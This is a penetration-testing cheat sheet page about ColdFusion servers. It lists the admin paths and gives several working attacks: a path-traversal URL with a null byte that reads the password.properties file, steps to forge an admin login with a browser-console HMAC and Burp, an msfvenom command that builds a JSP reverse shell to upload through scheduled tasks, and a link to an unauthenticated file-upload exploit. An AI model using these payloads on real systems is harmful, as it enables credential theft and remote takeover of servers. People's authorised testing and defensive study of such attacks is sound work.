> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/services/coldfusion.md).

# coldfusion

## Interesting Paths

```bash
# identification folders
/CFIDE
/cfdocs

# admin page
/CFIDE/administrator/index.cfm
```

## Admin Page bypass

* <https://www.exploit-db.com/exploits/14641>

```
IP/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

Using console > console.log(hex_hmac_sha1(document.loginform.salt.value, '<hash>'));
Using Burp to intercept and using `<console-hash>` as new password.
```

## Upload Shell using GUI

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -o shell.jsp
Under Debugging & Logging > Scheduled Tasks > Create new task
```

## Arbitary File Upload (unauthenticated)

v8.0.1 | <https://forum.hackthebox.eu/discussion/116/python-coldfusion-8-0-1-arbitrary-file-upload>
